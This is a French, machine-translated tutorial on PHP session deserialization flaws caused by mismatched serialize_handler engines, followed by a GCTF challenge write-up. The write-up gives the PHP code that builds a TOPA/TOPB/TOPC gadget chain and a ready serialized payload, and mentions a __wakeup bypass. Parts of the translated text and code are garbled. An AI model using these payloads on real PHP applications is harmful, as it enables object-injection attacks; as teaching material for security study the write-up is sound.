Maison  >  Article  >  développement back-end  >  Explication détaillée de la vulnérabilité de désérialisation de session PHP

Explication détaillée de la vulnérabilité de désérialisation de session PHP

coldplay.xixi
coldplay.xixiavant
2020-07-20 17:45:062305parcourir

Explication détaillée de la vulnérabilité de désérialisation de session PHP

Il y a trois éléments de configuration dans php.ini :

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

Les options ci-dessus sont liées au stockage de session et au stockage de séquence en PHP.

Dans l'installation à l'aide du composant xampp, les paramètres des éléments de configuration ci-dessus sont les suivants :

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

Dans la configuration ci-dessus, session.serialize_handler est utilisé pour définir le moteur de sérialisation de la session, en plus du moteur PHP par défaut, il existe d'autres moteurs, et les méthodes de stockage de session correspondant aux différents moteurs sont différentes.

php_binary : La méthode de stockage est, le caractère ASCII correspondant à la longueur du nom de la clé + le nom de la clé + la valeur sérialisée par la fonction serialize()

php : Le stockage La méthode est, nom de la clé + barre verticale + valeur sérialisée par la fonction Serialize()

php_serialize (php>5.5.4) : La méthode de stockage est, valeur sérialisée par la fonction Serialize()

Le moteur PHP est utilisé par défaut en PHP. Si vous souhaitez le changer pour un autre moteur, il vous suffit d'ajouter le code ini_set('session.serialize_handler', 'Le moteur qui doit être paramétré. ');. L'exemple de code est le suivant :

Le répertoire de la session se trouve dans /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

Sous le moteur php_serialize, les données stockées dans le fichier de session sont :

a:1:{s:4:"name";s:6:"spoock";}

Le contenu du fichier sous le moteur php est :

name|s:6:"spoock";

php_binary Le contenu du fichier sous le moteur est :

names:6:"spoock";

Puisque la longueur du nom est 4, 4 correspond à EOT dans la table ASCII. Selon les règles de stockage de php_binary, le dernier est names:6:"spoock";. (Soudain, j'ai découvert que les caractères avec une valeur ASCII de 4 ne peuvent pas être affichés sur la page Web. Veuillez vérifier vous-même le tableau ASCII)

Risques de sérialisation dans la session PHP

Il n'y a aucun problème avec l'implémentation de Session en PHP. Le préjudice est principalement causé par une mauvaise utilisation de Session par les programmeurs.

Si le moteur utilisé par PHP pour désérialiser les données $_SESSION stockées est différent du moteur utilisé pour la sérialisation, les données ne seront pas désérialisées correctement. Grâce à des paquets de données soigneusement construits, il est possible de contourner la vérification du programme ou d'exécuter certaines méthodes système. Par exemple :

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

fichier php tel que :

Après accès, le contenu du fichier de session est le suivant :

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

Mais à ce moment, la simulation utilise différents moteurs php sur d'autres pages. Le contenu lors de la lecture est le suivant : (Par défaut, le moteur php est utilisé pour lire le fichier de session)

a;
  }
}
// var_dump($_SESSION);

Lors de l'accès à cette page, il affiche xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

En effet, lors de l'utilisation du moteur php, le moteur php | est utilisé comme séparateur entre la clé et la valeur, puis a:1:{s:4:"ryat";s:30:" sera utilisé comme séparateur. clé de SESSION, et O:1:"A":1:{s :1:"a";s:2:"xx";} comme valeur, puis désérialisez, et enfin vous obtiendrez la classe A

en raison de la sérialisation et de la désérialisation. Les différents moteurs utilisés sont à l'origine de la vulnérabilité de sérialisation de session PHP. Lors du chargement d'une page à l'aide du moteur PHP, la session lit le contenu de la session et le désérialise, provoquant la vulnérabilité. déclenché sans aucune sortie

Une analyse de vulnérabilité de désérialisation de session sur GCTF :

Le contenu dans index.php est :

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

En php, elle est souvent utilisée. L'opération de sérialisation est utilisée pour accéder aux données, mais si elle n'est pas gérée correctement pendant le processus de sérialisation, elle entraînera des risques de sécurité. Le contenu de

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php est :

/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

L'idée est la suivante :

Dans cette question nous construisons un TOPC, qui sera appelé lors de la destruction echo $this->attr;

assign attr C'est un objet TOPA. La méthode magique __tostring

sera appelée automatiquement lors de l'écho de TOPB,

sera appelé car le jeton et le ticket sont utilisés plus tard, il est évident que l'objet TOPA est nécessaire plus tard. 🎜>, donc utiliser unserialize($this->attr) comme référence de pointeur pendant la sérialisation peut contourner le jugement $this->obj->token === $this->obj->ticket$a->ticket = &$a->token; Quant à savoir pourquoi

génère le drapeau, la connexion écrite. l'arrière-plan peut être __tostring.>

Il y aura une fonction __wakeup() dans la chaîne désérialisée pour effacer les paramètres. Je me demande si elle peut être contournée via un CVE : CVE-2016-7124. dans l'objet en rapport. La valeur réelle du champ est suffisamment grande pour contourner la fonction de réveil (string)$this->obj

Le code final est :

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

La charge utile finale est :

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
.

Ce qui précède est l'éditeur. J'aimerais vous présenter la vulnérabilité de désérialisation de session de PHP. J'espère que cela vous sera utile. Si vous avez des questions, laissez-moi un message et l'éditeur vous répondra. dans le temps.

Recommandations d'apprentissage associées :

Programmation PHP de l'entrée à la maîtrise

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer